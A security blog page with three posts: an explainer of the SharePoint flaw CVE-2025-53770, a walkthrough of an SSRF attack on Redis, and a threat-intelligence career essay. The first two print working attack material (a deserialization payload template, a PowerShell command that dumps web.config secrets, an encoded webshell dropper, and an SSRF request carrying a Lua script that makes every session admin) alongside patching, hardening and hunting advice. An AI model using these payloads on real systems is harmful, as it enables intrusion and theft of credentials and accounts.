HackMap Blog

SharePoint's Zero-Day Nightmare: Unpacking CVE-2025-53770 and Why Patching Isn't Enough

Tue, 22 Jul 2025 22:15:00 +0000

You did the right thing. You saw the alerts, you scrambled the team and you patched SharePoint. You followed the playbook. The server is updated. The vulnerability is gone.

But there’s a cold feeling in your gut. A thought that keeps you up at night, pulled straight from the mouths of your fellow sysadmins: What is even in our SharePoint?

It’s a digital attic. A data graveyard with no map. Years of contracts, PII, stale credentials and forgotten projects. And a nasty new zero-day, CVE-2025-53770, just kicked the door in. If someone got in, you’d have a hard time saying what they saw or what they took.

Let’s be clear: this isn’t just a vulnerability. It’s a full-blown identity crisis for anyone running SharePoint on-premises.

The Target: SharePoint’s Unseen Kingdom

First, you have to respect the target. On-premises SharePoint isn’t just a document library; for many organizations, it’s the central nervous system. It’s deeply integrated with Office, Teams and Outlook. It holds the crown jewels:

Sensitive Data: HR records, financial reports, legal contracts.
Intellectual Property: Source code, strategic plans, research.
Infrastructure Secrets: Internal configurations, passwords and service account details buried in web.config files.

A breach here isn’t a simple data leak. It’s a catastrophic failure. As Palo Alto Networks’ Unit 42 put it, a compromise “doesn’t stay contained, it opens the door to the entire network.” They—and CISA—are urging anyone with an internet-facing on-prem SharePoint server to assume they have been compromised.

The Prequel: The “ToolShell” Chain

To understand this new nightmare, you have to know the one that came before it. In May, researchers chained two bugs (CVE-2025-49704 and CVE-2025-49706) at Pwn2Own to get remote code execution (RCE). They called it “ToolShell.”

Microsoft patched it in July. Case closed, right?

Wrong. The attackers just found a better way in. CVE-2025-53770 is a variant, a clever bypass of the original fix. It’s more potent, unauthenticated and scores a blistering 9.8 CRITICAL on the CVSS scale.

The Bypass: How an Unauthenticated Attacker Owns Your Server

This isn’t a brute-force attack. It’s an elegant abuse of trust. The vulnerability is a classic case of Deserialization of Untrusted Data (CWE-502).

The attacker targets a specific, obscure endpoint: /_layouts/15/ToolPane.aspx. They send a request to edit a web part that shouldn’t be editable. Inside this request, they inject a malicious XML payload.

This is what the skeleton key looks like, according to the public proof-of-concept:

<asp:UpdateProgress ID="UpdateProgress1" runat="server" AssociatedUpdatePanelID="upTest">
  <ProgressTemplate>
    <div class="divWaiting">
      <Scorecard:ExcelDataSet CompressedDataTable="{PAYLOAD}" DataTable-CaseSensitive="false" runat="server" />
    </div>
  </ProgressTemplate>
</asp:UpdateProgress>

The magic is in the <Scorecard:ExcelDataSet> component and its CompressedDataTable attribute. The attacker crafts a malicious .NET object (a “gadget chain”), serializes it, compresses it with GZIP and Base64-encodes it. This toxic blob becomes the {PAYLOAD}.

When SharePoint receives this, it dutifully decodes, decompresses and deserializes the object to process it. It doesn’t check what it’s deserializing. And in that moment, the attacker’s code runs with the permissions of the IIS worker process (w3wp.exe). Game over.

The Heist: What Attackers Are Doing Right Now

Security researchers at Unit 42 have seen this exploit in the wild and it’s ugly. Attackers aren’t just popping shells; they’re systematically dismantling your security.

Variation 1: Stealing Secrets

First, they go for the keys to the kingdom. They execute a PowerShell command to hunt for all web.config files and dump their contents into a public-facing JavaScript file. These files often contain database connection strings, API keys and the validationKey and decryptionKey for the server.

powershell -c "ls -r C:\inetpub\wwwroot\wss\VirtualDirectories -i web.config | select -exp fullname | % { gc $_ | Out-File -Append C:\'Program Files'\'Common Files'\'microsoft shared'\'Web Server Extensions'\16\TEMPLATE\LAYOUTS\debug_dev.js}"

Variation 2 & 3: Planting a Permanent Backdoor

Next, they establish persistence. The IIS process (w3wp.exe) is seen spawning a command shell to run a Base64-encoded PowerShell script.

cmd.exe /c powershell -enc JABiAGEAcwBlADYANABzAHQAcgBpAG4AZwAgAD0AIAAiAEgAVABUAUAAvADEALgAxACAA[...]AgAGwAZQBlAHAAKAAxADAAMAApADsA

This alphabet soup decodes into a script that writes a web shell, spinstall0.aspx, deep inside the SharePoint layouts directory. This shell allows them to execute commands, steal more credentials and forge authentication keys to impersonate any user—bypassing MFA and SSO entirely. The attackers are so thorough they even have variations that write to different SharePoint version directories (.../15/TEMPLATE/... for 2013/2016 and .../16/TEMPLATE/... for 2019/Subscription).

The Damage Control: Your New Battle Plan

Feeling paranoid? Good. Now, let’s channel that into action. This is not a standard patch-and-move-on scenario. This is incident response.

Step 0: Assume Breach

If you have an on-prem SharePoint server, especially one exposed to the internet, act as if you are already compromised. Patching alone will not evict an attacker who has already established a foothold.

Step 1: Patch Immediately

Microsoft has released security updates. These are cumulative and absolutely critical. Apply them now.

Product	Security Update
Microsoft SharePoint Server Subscription Edition	KB5002768
Microsoft SharePoint Server 2019	KB5002754 and Language Pack KB5002753
Microsoft SharePoint Server 2016	KB5002760 and Language Pack KB5002759

Step 2: Enable AMSI (Antimalware Scan Interface)

This is your most powerful mitigation. AMSI allows your antivirus solution (like Microsoft Defender) to inspect the content of requests before they are processed by SharePoint. According to Microsoft, this protects you from this specific unauthenticated attack vector.

If you can’t enable AMSI, CISA’s advice is blunt: disconnect the server from the internet.

Step 3: Rotate Your Keys. Then Rotate Them Again.

An attacker with your machine keys can forge authentication cookies forever. You must invalidate them. Microsoft’s updated guidance is a multi-step process:

Rotate your ASP.NET machine keys before patching.
Apply the security updates from Step 1.
Rotate your ASP.NET machine keys again.
Restart IIS on all SharePoint servers (iisreset.exe).

Use PowerShell to manage the key rotation:

# Generate the machine key
Set-SPMachineKey -WebApplication <SPWebApplicationPipeBind>

# Deploy the key to the farm
Update-SPMachineKey -WebApplication <SPWebApplicationPipeBind>

Step 4: Hunt for Intruders

You need to actively look for footprints. Microsoft and Unit 42 have provided hunting queries for their security tools.

Microsoft 365 Defender - Look for the webshell:

DeviceFileEvents
| where FolderPath has_any (@'microsoft shared\Web Server Extensions\16\TEMPLATE\LAYOUTS', @'microsoft shared\Web Server Extensions\15\TEMPLATE\LAYOUTS')
| where FileName has "spinstall0"
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, FolderPath, ReportId, ActionType, SHA256
| order by Timestamp desc

Cortex XDR - Look for suspicious file writes:

// Description: This query identifies specific files being written to the observed file paths during exploitation.
dataset = xdr_data
| fields _time, agent_hostname, causality_actor_process_image_name, causality_actor_process_command_line, actor_process_image_name, actor_process_command_line, action_file_name, action_file_path, action_file_extension, action_file_sha256, event_type, event_sub_type
| filter event_type = ENUM.FILE and event_sub_type in (ENUM.FILE_WRITE, ENUM.FILE_CREATE_NEW) and lowercase(action_file_path) ~= "web server extensions\\1[5-6]\\template\\layouts" and lowercase(action_file_extension) in ("asp", "aspx", "js", "txt", "css")
| filter lowercase(actor_process_image_name) in ("powershell.exe", "cmd.exe", "w3wp.exe")
| comp values(action_file_name) as action_file_name, values(action_file_path) as action_file_path, values(actor_process_command_line) as actor_process_command_line by agent_hostname, actor_process_image_name addrawdata = true

Conclusion: The Game Never Ends

This vulnerability is a brutal reminder of a lesson we keep having to learn: the most dangerous attacks don’t just break the rules; they weaponize them. They use the system’s own features against it with devastating precision.

The panic over CVE-2025-53770 isn’t just about a technical flaw. It’s about the sudden, terrifying realization that we are often custodians of data we don’t fully understand or govern. You can patch the server, but you can’t patch a decade of digital sprawl overnight.

The real monster isn’t the zero-day. It was the data graveyard we let it roam in. Don’t let them find the ghosts in your machine.

Frequently Asked Questions (FAQ)

What is CVE-2025-53770?

It is a critical remote code execution (RCE) vulnerability in on-premises Microsoft SharePoint Server. It allows an unauthenticated attacker to execute code over the network by exploiting an insecure deserialization flaw. It has a CVSS score of 9.8 and is being actively exploited in the wild.

Is my SharePoint Online (Microsoft 365) instance affected?

No. Microsoft has confirmed that SharePoint Online is not impacted by this vulnerability. This issue applies only to on-premises installations of SharePoint Server 2016, SharePoint Server 2019 and SharePoint Server Subscription Edition.

What is the first thing I should do to protect my servers?

Your immediate priorities are:

Apply the latest security updates from Microsoft.
Ensure AMSI integration is enabled with a compatible antivirus solution like Microsoft Defender.
If you cannot do the above, disconnect your SharePoint server from the internet until it can be secured.

How do I know if I’ve been compromised?

Assume you have been and investigate. Use the hunting queries provided in this article to search your logs for signs of exploitation, such as the creation of the spinstall0.aspx webshell or commands reading web.config files. Check for unusual w3wp.exe process behavior. A full compromise assessment from a professional incident response team is highly recommended.

Unraveling a Clever Redis Exploit to Secure Your In-Memory Data Store - Interacting Redis over HTTP

Fri, 18 Jul 2025 07:01:35 +0000

You think your Redis is a fortress. You’ve heard the campfire stories about old hacks, the cross-protocol weirdness that got patched ages ago. You’ve set a password, maybe even tucked it behind a firewall. You’re safe.

But there’s a ghost in the machine. A clever little exploit that doesn’t bother with the walls. It walks right past the bouncer at the front door because it knows something the bouncer doesn’t.

Let’s pull back the curtain.

The Target: Why Redis is a Hacker’s Goldmine

First, you gotta understand what Redis is and why it’s such a juicy target. It’s not just a database; it’s an in-memory data store. That means it’s screaming fast. Developers use it for the stuff that needs to happen right now:

Caching: The data that makes your site feel snappy.
Session Stores: The keys to the kingdom. Literally. The bits of data that prove who your users are, what’s in their shopping carts, and whether they’re an admin or a regular Joe.
Real-Time Data: Leaderboards, notifications, live analytics.

Breaching Redis isn’t just a data leak. It’s a full-blown system compromise waiting to happen. It’s how an attacker goes from an outsider to holding the keys to every user’s account. This is why its cyber security isn’t a “nice-to-have.” It’s everything.

The Old Guard: How Redis Tried to Defend Itself

To get how the new hack works, you have to know the old one. Hackers figured out they could talk HTTP to a Redis port. They’d send a POST request. Redis isn’t a web server, so it would just toss the headers. But it might accidentally run commands it found in the request body. A huge security hole.

The Redis team fought back. They were smart. They hired a bouncer for the club. A function called securityWarningCommand.

// This is the bouncer. See a problem? Slam the door shut.
void securityWarningCommand(client *c) {
    serverLog(LL_WARNING,"Possible SECURITY ATTACK detected... Connection aborted.");
    freeClientAsync(c); // Kills the connection
}

Then they gave the bouncer a tiny blocklist. The words post and host:.

// The blocklist. If you see these words at the start, call the bouncer.
struct redisCommand redisCommandTable[] = {
    {"post", securityWarningCommand, ...},
    {"host:", securityWarningCommand, ...},
};

The plan was simple. If Redis saw a request start with post or host:, it would call the bouncer. The bouncer would kill the connection. Attack stopped. Simple. Clean. Right?

Wrong.

The Bypass Exploit: The Ghost in the Machine

Here’s the beautiful mistake. The fatal flaw. The bouncer was only trained to look for trouble at the very beginning of the conversation. The whole security plan depends on the order things are seen.

This exploit is all about timing. It’s a magic trick.

The attacker doesn’t send a POST. They send a GET request. And they stick their evil Redis command right at the very beginning of the URL path.

Redis gets the data stream and starts reading it like a piece of ticker tape.

The first thing it sees is EVAL—a real Redis command for running scripts. It looks at its list and says, “Hey, EVAL is a legit command. I’ll run it.”
And just like that, our malicious script executes. The damage is done.
Then Redis keeps reading. Way down the line, it finally stumbles upon the Host: header. Now it gets confused. The bouncer wakes up and panics. He runs the security check.
The connection gets terminated. But it’s way too late. The thief is already gone.

The exploit works because our real command was processed before the security trap for the HTTP header was ever sprung. It’s a perfect abuse of the system’s own logic.

So, what does a target look like? You might think your setup is safe. It might even look something like this in your redis.conf file:

bind 127.0.0.1
port 6379
protected-mode yes
maxmemory 1gb
maxmemory-policy allkeys-lru
appendonly no
save ""

See that? protected-mode yes. bind 127.0.0.1. Looks good, right? Locked down from the outside. But notice what’s missing? There’s no requirepass. No password. This is the unlocked door the ghost walks through. The server trusts any connection coming from the inside, and that’s exactly what the next step provides.

The Heist: Weaponizing the Key with SSRF

So you have this skeleton key. This beautiful little flaw. How does a bad guy actually use it? They find a weak spot on a website—a feature that fetches data from other URLs. This is a classic SSRF attack (Server-Side Request Forgery).

They aren’t hacking Redis directly. They’re tricking the web application into doing the dirty work. The server is duped into attacking itself from the inside.

They send a weaponized payload. A carefully crafted instruction for the server.

// This tells the website to attack its own Redis server.
fetch("http://target-app.com/api/vulnerable_endpoint", {
  method: "POST",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: `url=http://127.0.0.1:6379/&eval+"local+user_sessions+%3d+redis.call('keys',+'session:*')%3b+for+_,+key+in+ipairs(user_sessions)+do+local+session_data+%3d+redis.call('get',+key)%3b+local+status,+obj+%3d+pcall(cjson.decode,+session_data)%3b+if+status+and+type(obj)+%3d%3d+'table'+and+obj['user_role']+~%3d+nil+then+obj['user_role']+%3d+'admin'%3b+redis.call('set',+key,+cjson.encode(obj))%3b+end+end%3b+return+'OK'"+0+`
});

That body looks like alphabet soup. But inside that mess is a beautiful little Lua script. It’s a privilege escalation machine. Here’s what that script does when it runs on the Redis server:

-- This little program is a session hijacker.

-- First it asks Redis: "hey show me all your user sessions".
local user_sessions = redis.call('keys', 'session:*')

-- Then it walks through every single one.
for _, key in ipairs(user_sessions) do
    local session_data = redis.call('get', key)
    -- It decodes the session to see what's inside.
    local status, obj = pcall(cjson.decode, session_data)
    
    -- Now for the magic. It looks for the user's role. And changes it.
    if status and type(obj) == 'table' and obj['user_role'] ~= nil then
        obj['user_role'] = 'admin' -- Hello, god mode.
        -- It saves the new evil session right back into Redis.
        redis.call('set', key, cjson.encode(obj))
    end
end

return 'OK'

And that’s the heist. The script finds a regular user. It makes them an admin. The attacker now has a god-mode account on the website.

Fortifying the Gates: How You Fight Back

Feeling paranoid? Good. Now let’s turn that paranoia into action. This isn’t just a list; this is your new defense plan. These are the Redis security best practices that stop ghosts and brawlers alike.

Lock Down the Network

This is your first, best, and most important defense. Don’t let anyone who isn’t invited get near the door.

Bind to Localhost: Your redis.conf file should have bind 127.0.0.1. This means Redis only listens to the machine it’s running on. Never, ever set it to 0.0.0.0 unless you have an ironclad firewall.
Use Redis Protected Mode: This is on by default for a reason. It’s a safety net that stops Redis from talking to anyone but localhost if you forget to set a password. Leave it on.
Firewall Everything: Your application server is the only thing that should be able to talk to your Redis port. Block everyone else. No exceptions.

Use Real Locks and Keys

Set a Damn Good Password: Use the requirepass directive in your config. Make it long. Make it random. This is the single setting that would have stopped the attack we just described.
Use the Redis Access Control List (ACL): If you’re on Redis 6 or newer, this is mandatory. Don’t use one master key. Create different users with the minimum permissions they need to do their job. Your web app’s user probably doesn’t need to run CONFIG or DEBUG, does it?

Don’t Leave Loaded Guns Lying Around

Rename Dangerous Commands: An attacker can’t use a command they can’t find. You can rename or even disable commands that can cause catastrophic damage.
- In redis.conf: rename-command FLUSHALL "ARE_YOU_SURE_FLUSHALL"
- To disable it entirely: rename-command CONFIG ""

Fix the Root Problem: SSRF

Validate Your Inputs: The real entry point for the heist was the application itself. Treat every URL or piece of data from a user as hostile.
Use Allow-Lists, Not Block-Lists: Don’t try to guess what a malicious URL looks like. Define an explicit, strict list of hosts your application is allowed to talk to. Deny everything else.

Conclusion: The Game Never Ends

It’s not a brute force attack. It’s a whisper. A timing trick. A perfect example of how the most dangerous attacks use the system’s own rules against it. And it’s a chilling reminder that security is never finished.

You can’t just build a fortress and walk away. You have to watch the guards, check the locks, and understand that there’s always someone clever trying to find a new way in. They’re looking for the ghost in your machine. Don’t let them find it.

Frequently Asked Questions (FAQ)

What is the main risk of an exposed Redis instance?

In a word: everything. An attacker can steal all your data, hijack user accounts for privilege escalation, and use your server to attack your internal network. It’s a foothold that can lead to total system compromise.

How does Redis protected mode work?

It’s a simple safety catch. If you haven’t set a password and you haven’t explicitly told Redis which IPs to listen to, it defaults to only listening to the local machine. It’s designed to stop the most common and dangerous misconfiguration: accidentally exposing an unlocked database to the entire internet.

How can I check if my Redis server is vulnerable?

Don’t guess. Check. Use a tool like nmap from an external machine to see if your Redis port (6379) is visible. Read your redis.conf file. Is requirepass set to a strong password? Is bind set to 127.0.0.1? Have you disabled or renamed dangerous commands? A quick Redis vulnerability scanner can also help automate this check.

The Myth of the "Cybersecurity Hacker" (and Other Misconceptions)

Wed, 01 Jan 2025 12:01:35 +0000

Let me paint you a picture. You’re at a networking event, and someone inevitably asks, “So, what do you do?” You reply, “I’m a Cyber Threat Intelligence Analyst.”

The response is almost always the same: “Oh, so you hack things?”

It’s a common misconception, and one that irritates me a lot more than I care to admit. Hacking, or better put, penetration testing is a great skillset to have; it just isn’t the heart of what I do.

My Journey: From “Hacking” to Hunting

Like many, my path to cybersecurity was motivated by the excitement of not knowing what happened. I can still remember the exhilaration-since college-along with finding a successful exploit on a vulnerable web server. That was the sense, there was some magic, invisible door opened inside cyberspace. Of course, this initial curiosity laid the path for me, and brought along one of the more common misconceptions: “He’s a hacker.”

Fast-forward a few years, and I found myself on a small incident response team, fighting day in and day out against determined adversaries to figure out how they had breached our systems and what their objectives were. This experience gave me incredible insight into the tactics, techniques, and procedures that real-world threat actors put to use.

One particularly memorable incident involved a sophisticated phishing campaign targeting our CEO. The attackers had meticulously crafted a convincing email, complete with social engineering tactics and a realistic-looking attachment. Analyzing the email, the attachments, and the subsequent activity within our network helped me understand the adversary’s motivations and the potential impact of such attacks.

It completely flipped my focus on its head. I knew that “why” was as important as “how,” so I moved to a Cyber Threat Intelligence position, whereby I could bring in all of my technical background into analyzing global threat landscapes and emerging threats for actionable intelligence to our security teams.

What CTI Really Is (and Isn’t)

Myth 1: CTI Analysts are “Cybersecurity Oracles”

The general impression in most people’s mind about CTI analysts is the notion that they have some mystic ability to foresee any form of cyber threat. How wrong this is.

I recall a meeting where our CEO, with urgency, asked me, “Have you heard anything about this new vulnerability that’s being exploited in the wild?”

The vulnerability in question was publicly disclosed that morning. While I am informed about the latest vulnerabilities through various channels, it was rather unrealistic to expect me to be the first to know every single one.

CTI is about analyzing available data, whether it be threat feeds, open-source intelligence, internal security logs, and determining patterns and trends that can pose a significant risk to our organization. It is about connecting the dots and not predicting the future.

Myth 2: CTI is Just “Repackaging” News

Some perceive CTI as an exercise in summarizing recent cybersecurity news articles and issuing them to other parts of the organization. True CTI is a great deal more than this, beyond merely keeping one’s ears open to what is taking place around one.

Envision an e-mail titled “New Ransomware Strain Found” or “Phishing Attacks on Increase” coming in every morning. In their nature, this is not at all intelligence at all.

True CTI provides context. Instead of reporting on a new family of ransomware, for example, we would reverse-engineer its TTPs to identify who it was targeting and what type of impact it could have on our organization. From there, we could make some very specific recommendations to our security teams about things like updating EDR signatures or placing greater controls on email.

The Value of CTI: A Real-World Scenario

For illustration purposes, let’s say that our organization is currently developing a new cloud-based application that will deal with sensitive customer data; this will be a great use case for CTI to feed into.

Identification of the Potential Threat: By researching threat actor activity against similar cloud environments, we can identify common attack vectors that include misconfigurations, vulnerability in third-party libraries, and social engineering of the developer population.
Security Controls Prioritization: We could go further in recommending specific security controls, such as robust access controls, regular penetration testing, and a security awareness training program for developers.
Informing Risk Management Decisions: Our insights can help inform risk management decisions, such as whether to proceed with the project as planned, implement additional security measures, or even reconsider certain design choices.

The Challenges and Rewards

One of the biggest challenges in CTI is actually articulating value for our work. These are not always easy impacts to reduce into dollars and cents. However, should our insights help prevent that big breach, or whether our analysis leads to some disruption of a malicious campaign, the reward is just huge.

A Final Thought

The reality of CTI, however, is far from the “cybersecurity hacker” stereotype. It’s about understanding the adversary and trying to stay one step ahead of him or her, with a mission of equipping our organization to defend itself effectively. A bit demanding but rewarding too, this career field requires a mix of technical, analytical, and deep knowledge in the threat landscape.

I am proud to be part of this community, and look forward with interest to the continuing developments that CTI will doubtless make against a tide of ever-rising cyber threats.